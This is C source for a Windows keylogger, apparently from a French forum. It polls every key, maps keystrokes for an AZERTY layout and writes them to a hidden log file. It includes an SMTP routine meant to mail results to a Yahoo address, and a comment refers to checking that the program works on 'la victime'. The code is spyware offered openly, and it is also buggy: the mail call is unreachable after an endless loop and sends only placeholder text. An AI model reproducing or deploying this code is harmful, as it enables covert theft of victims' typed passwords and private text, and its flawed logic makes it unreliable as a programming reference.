#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <winuser.h>
#include <windowsx.h>
#include <time.h>
int MailIt (char *mailserver, char *emailto, char *emailfrom,
char *emailsubject, char *emailmessage);
//******************************************************************
#define BUFSIZE 800
#define waittime 500
#define cmailserver "smtp.mail.yahoo.fr"
#define cemailto "destination@yahoo.fr"
#define cemailfrom "source@yahoo.fr"
#define LogLength 100
#define FileName "sound.wav"
#define SMTPLog "smtpfile.txt"
#define cemailsubject "Logged"
#define cemailmessage "Helloooooooo wooooorld"
//******************************************************************//
//*****************************************************************//
int isalt(); //savoir si alt est pressé
int ismajpressed(); //savoir si shift est pressé
int ismaj(); //savoir si on le clavier est en état de majuscule ( prenant en compte caps Lock et shift )
void TraiterLettre(int lettre); // traiter les touche qui presente un probleme.
int majuscule; //savoir si le clavier est en mode caps lock
FILE *sortie; // le fichier de sortie
char fichier[256]; // declarer un tableau pour remplir le tableau de sortie.
//******************************************************************//
// le programme principal //
//******************************************************************//
int main(int argc, char *argv[])
{
int i, lettre, result, lastresult, lastletter, compteur;
// definir le dossier contenant le fichier "LOG.txt"
GetCurrentDirectory(256, fichier);
strcat(fichier,"\\Monfichierlog.txt");
sortie = fopen(fichier,"w+"); // ouvrir le fichier "LOG.txt"
//////////////////////////////////
result=0;
compteur=0; //on initialise les variables
lastresult=0;
i=0;
while ( i==0 ) { //boucle sans fin
lettre=13;
for ( lettre==13 ; lettre<256 ; lettre++ ) { //test de toutes les lettres
//passer les caractères inutiles
if ( lettre==14 ) lettre=20;
if ( lettre==21 ) lettre=48;
if ( lettre==58 ) lettre=65;
if ( lettre==91 ) lettre=96;
if ( lettre==108 ) lettre=109;
if ( lettre==112 ) lettre=186;
if ( lettre==189 ) lettre=190;
if ( lettre==193 ) lettre=219;
if ( lettre==220 ) lettre=221;
if ( lettre==222 ) lettre=223;
result=GetKeyState(lettre);
// POUR LA TOUCHE CAPS LOCK, LE 20, IL Y A UN TRAITEMENT PARTICULIER POUR VOIR LE MODE DU CLAVIER
if ( ( lettre==20 ) && ( result==0 ) ) majuscule=0; // si caps lock est non appuyée maj=0
if ( ( lettre==20 ) && ( result==1 ) ) majuscule=1; // sinon maj=1
// ********************************************************************
// si result ne prend ni 1 ni 0 alors on doit trater cette touche
if ( ( result!=0 ) && ( result!=1 ) && (lettre!=lastletter) )
{
TraiterLettre(lettre); // si la touche est specifique
lastresult=result; //
lastletter=lettre; // lastletter prend la valeur de la derniere touche causant un probleme
lettre=13; // revenir a l'etat initiale
Sleep(50); //
}
else if ( ( ( result!=0 ) && ( result!=1 ) ) | ( ( lettre==lastletter ) && ( lastresult!=result ) ) )
{ //si une nouvelle touche est frappée
if ( ( result!=lastresult ) && ( ( result==-127 ) | ( result==-128 ) )
&& !( ( ( result==-127 ) && ( lastresult==-128 ) ) | ( ( result==-128 )
&& ( lastresult==-127 ) ) ) ) TraiterLettre(lettre); //je ne sais plus trop mais ça marche
lastresult=result;
lastletter=lettre;
Sleep(50);
} //fin de traitement pour une nouvelle touche
} //fin de test des lettres
Sleep(1);
} //fin de la boucle sans fin
MailIt (cmailserver, cemailto, cemailfrom,cemailsubject, cemailmessage);
return 0;
}
//**************************************************************************************
// LA FONVTION ISALT POUR TESTER LA TOUCHE ALT//
//**************************************************************************************
int isalt() {
int result;
result=GetKeyState(VK_MENU );
if ( ( result==-127 ) || ( result==-128 ) ) return 1;
else return 0;
}
//**************************************************************************************
//**************************************************************************************
// TESTER SI LE CLAVIER EST EN MODE MAJUSCULE //
//**************************************************************************************
int ismaj() {
if ( ( ( majuscule ) && ( !ismajpressed() ) ) || ( ( !majuscule ) && ( ismajpressed() ) ) )
return 1;
else return 0;
}
//**************************************************************************************
//**************************************************************************************
// TESTER SI LA TOUCHE CAPS LOCK EST PRESS'E //
//**************************************************************************************
int ismajpressed() {
int result;
result=GetKeyState(VK_SHIFT );
if ( ( result==-127 ) || ( result==-128 ) ) return 1;
else return 0;
}
//**************************************************************************************
// TRAITER LES TOUCHES SPECIFIQUES //
//**************************************************************************************
void TraiterLettre(int lettre) {
char towrite; //la lettre que l'on va écrire dans la console
static int compteur = 0;
//traitement des chiffres ( un décalage )
if ( ( lettre<106 ) && ( lettre>95 ) ) towrite=lettre-48;
//Les lettres sont envoyées comme majuscules, il faut faire un décalage
else if ( ( lettre<91 ) && ( lettre>64 ) && ( !ismaj() ) ) towrite=lettre+32;
//Sinon on écrit telle quelle la lettre
else if ( ( lettre<91 ) && ( lettre>64 ) ) towrite=lettre;
else switch ( lettre ) {
case VK_MENU:
fprintf(sortie,"",towrite);
break;
case VK_BACK:
fprintf(sortie,"<delete>",towrite);
break;
case VK_DELETE:
fprintf(sortie,"<Suppr>",towrite);
break;
case 9:
fprintf(sortie,"<TAB>",towrite);
break;
case VK_CONTROL:
fprintf(sortie,"<ctrl>",towrite);
break;
case 49 : if( ismaj() ) towrite='1';
else towrite='&';
break;
case 50 : if ( ismaj() ) towrite='2';
else towrite='é';
break;
case 51 : if ( ismaj() ) towrite='3';
else towrite='"';
break;
case 52 : if ( ismaj() ) towrite='4';
else towrite= '"';
break;
case 53 : if ( ismaj() ) towrite='5';
else towrite='(';
break;
case 54 : if ( ismaj() ) towrite='6';
else towrite='-';
break;
case 55 : if ( ismaj() ) towrite='7';
else towrite='è';
break;
case 56 : if ( ismaj() ) towrite='8';
else towrite='_';
break;
case 57 : if ( ismaj() ) towrite='9';
else towrite='ç';
break;
case 48 : if ( ismaj() ) towrite='0';
else towrite='à';
break;
case 187 : if( ismaj() ) towrite='=';
else towrite='+';
break;
case 186 : if ( ismaj() ) towrite='£';
else towrite='$';
break;
case 192 : if ( ismaj() ) towrite='%';
else towrite='ù';
break;
case 188 : if ( ismaj() ) towrite='?';
else towrite=',';
break;
case 190 : if ( ismaj() ) towrite='.';
else towrite=';';
break;
case 191 : if ( ismaj() ) towrite='/';
else towrite=':';
break;
case 32 : if ( isalt() ) towrite=' ';
else towrite=' ';
break;
case 219 : if ( isalt() ) towrite=']';
else towrite=')';
break;
case 223 : towrite='!';
break;
case 111 : towrite='/';
break;
case 106 : towrite='*';
break;
case 109 : towrite='-';
break;
case 107 : towrite='+';
break;
case 110 : towrite='.';
break;
}
#
#
// On affiche les lettres dans le log
if ( lettre==13 ) fprintf(sortie,"\n");
else fprintf(sortie,"%c",towrite);
compteur++;
#
if ( compteur==2 ) {
fclose(sortie);
fopen(fichier,"a");
compteur=0;
}
}
int MailIt (char *mailserver, char *emailto, char *emailfrom,
char *emailsubject, char *emailmessage) {
SOCKET sockfd;
WSADATA wsaData;
FILE *smtpfile;
#define bufsize 300 // taille du fichier pour l' envoie
int bytes_sent;
int err;
struct hostent *host; /* gethostbyname */
struct sockaddr_in dest_addr; /* adresse de l'hote */
char line[1000];
char *Rec_Buf = (char*) malloc(bufsize+1);
smtpfile=fopen(SMTPLog,"a+");
//tester l'accessibilite du chemin du socket
if (WSAStartup(0x202,&wsaData) == SOCKET_ERROR ) {
fputs("WSAStartup failed",smtpfile);
WSACleanup();
return -1;
}
// tester le serveur smtp
if ( (host=gethostbyname(mailserver)) == NULL) {
perror("gethostbyname");
exit(1);
}
memset(&dest_addr,0,sizeof(dest_addr));
memcpy(&(dest_addr.sin_addr),host->h_addr,host->h_length);
#
/* Preparer l'addresse destination dest_addr */
dest_addr.sin_family= host->h_addrtype;
dest_addr.sin_port= htons(587); /* PORT */
#
if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {
perror("socket");
exit(1);
}
/* Connection !*/ // tester lecalement si le programme est bien marché chez la victime
fputs("Connecting....\n",smtpfile);
#
if (connect(sockfd, (struct sockaddr *)&dest_addr,sizeof(dest_addr)) == -1){
perror("connect");
exit(1);
}
Sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
// ecrire dans le fichier smtpfile "helo me..."
strcpy(line,"helo me.somepalace.com\n");
fputs(line,smtpfile);
// bytes_sent prend le nombre de lettre contenant dans smtpfile
bytes_sent=send(sockfd,line,strlen(line),0);
Sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
strcpy(line,"MAIL FROM:<");
strncat(line,emailfrom,strlen(emailfrom));
strncat(line,">\n",3);
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
Sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
strcpy(line,"RCPT TO:<");
strncat(line,emailto,strlen(emailto));
strncat(line,">\n",3);
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
Sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
strcpy(line,"DATA\n");
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
Sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
Sleep(waittime);
strcpy(line,"To:");
strcat(line,emailto);
strcat(line,"\n");
strcat(line,"From:");
strcat(line,emailfrom);
strcat(line,"\n");
strcat(line,"Subject:");
strcat(line,emailsubject);
strcat(line,"\n");
strcat(line,emailmessage);
strcat(line,"\r\n.\r\n");
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
Sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
strcpy(line,"quit\n");
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
Sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
fclose(smtpfile);
#ifdef WIN32
closesocket(sockfd);
WSACleanup();
#else
close(sockfd);
#endif
}
[code=cpp]
Afficher la suite